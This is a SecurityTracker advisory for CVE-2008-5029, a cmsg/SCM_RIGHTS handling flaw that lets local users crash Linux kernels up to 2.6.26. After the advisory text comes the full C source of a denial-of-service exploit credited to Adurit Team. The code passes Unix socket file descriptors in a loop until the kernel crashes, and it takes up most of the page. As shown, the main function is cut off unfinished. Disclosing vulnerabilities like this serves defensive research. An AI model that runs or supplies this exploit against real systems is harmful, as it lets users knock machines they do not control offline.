SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   OS (Linux)  >   Linux Kernel Vendors:   kernel.org
Linux Kernel cmsg Bug Lets Local Users Deny Service
SecurityTracker Alert ID:  1021511
SecurityTracker URL:  http://securitytracker.com/id/1021511
CVE Reference:   CVE-2008-5029   (Links to External Site)
Updated:  Jul 27 2009
Original Entry Date:  Jan 4 2009
Impact:   Denial of service via local system
Exploit Included:  Yes  
Version(s): 2.6.26 and prior versions
Description:   A vulnerability was reported in Linux Kernel. A local user can cause denial of service conditions.

A local user can send a specially crafted message and then access control data for that message via cmsg to cause the kernel to crash.

Adurit Team reported this vulnerability.

[Editor's note: Eugene Teo reported that this vulnerability is the same as the vulnerability previously reported in CVE-2008-5029; Alert ID 1021292. joris at infogroep.be previously reported that Gentoo's kernel version 2.6.26 is still vulnerable.]

Impact:   A local user can cause denial of service conditions on the target system.
Solution:   No solution was available at the time of this entry.

[Editor's note: Eugene Teo reported that this vulnerability is the same as the vulnerability previously reported in CVE-2008-5029; Alert ID 1021292. joris at infogroep.be previously reported that Gentoo's kernel version 2.6.26 is still vulnerable.]

Vendor URL:  www.kernel.org/ (Links to External Site)
Cause:   Access control error

Message History:   None.


 Source Message Contents

Subject:  Linux Kernel 2.6.18/2.6.24/2.6.20/2.6.22/2.6.21 denial of service

/*
Linux Kernel 2.6.18/2.6.24/2.6.20/2.6.22/2.6.21 denial of service exploit

Author : Adurit Team
         >> djekmani4ever

Home : www.hightsec.com

greetz : adurit team - v4-team - Zigma - stack - Mr.safa7 - king sabri - alphanix - and all my friends

note : this code for education :)
*/

#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <assert.h>
#include <err.h>
#include <stdlib.h>

static int own_child(int *us)
{
        int pid;
        int s[2];
        struct msghdr mh;
        char crap[1024];
        struct iovec iov;
        struct cmsghdr *c;
        int *fd;
        int rc;

        pid = fork();
        if (pid == -1)
                err(1, "fork()");

        if (pid) {
              close(us[1]);

                return pid;
        }

        close(us[0]);

        memset(&mh, 0, sizeof(mh));
        iov.iov_base = "a";
        iov.iov_len  = 1;

        mh.msg_iov        = &iov;
        mh.msg_iovlen     = 1;
        mh.msg_control    = crap;
        mh.msg_controllen = sizeof(crap);

        c = CMSG_FIRSTHDR(&mh);
        assert(c);

        c->cmsg_level = SOL_SOCKET;
        c->cmsg_type  = SCM_RIGHTS;

        fd = (int*) CMSG_DATA(c);
        assert(fd);

        c->cmsg_len = CMSG_LEN(sizeof(int));
        mh.msg_controllen = c->cmsg_len;

        while (1) {
                if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1)
                        err(1, "socketpair()");

                *fd = s[0];

                rc = sendmsg(us[1], &mh, 0);
                if (rc == -1)
                        err(1, "sendmsg()");

                if (rc != iov.iov_len)
                        errx(1, "sent short");

                close(s[0]);
                close(us[1]);
                us[1] = s[1];
        }
}

static void own(void)
{       
        static int pid;
        static int us[2];
        char crap[1024];
        char morte[1024];
        struct cmsghdr *c;
        int rc;
        struct msghdr mh;
        struct iovec iov;
        int *fds;

        if (!pid) {
                if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1)
                        err(1, "socketpair()");
                pid = own_child(us);
        }

        iov.iov_base = morte;
        iov.iov_len  = sizeof(morte);

        memset(&mh, 0, sizeof(mh));
        mh.msg_iov        = &iov;
        mh.msg_iovlen     = 1;
        mh.msg_control    = crap;
        mh.msg_controllen = sizeof(crap);

        rc = recvmsg(us[0], &mh, 0);
        if (rc == -1)
                err(1, "recvmsg()");

        if (rc == 0)
                errx(1, "EOF");

        c = CMSG_FIRSTHDR(&mh);
        assert(c);
        assert(c->cmsg_type == SCM_RIGHTS);

        fds = (int*) CMSG_DATA(c);
        assert(fds);

        close(us[0]);
        us[0] = *fds;
}

int main(int argc, char *argv[])
{
	own();
	exit(0);

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC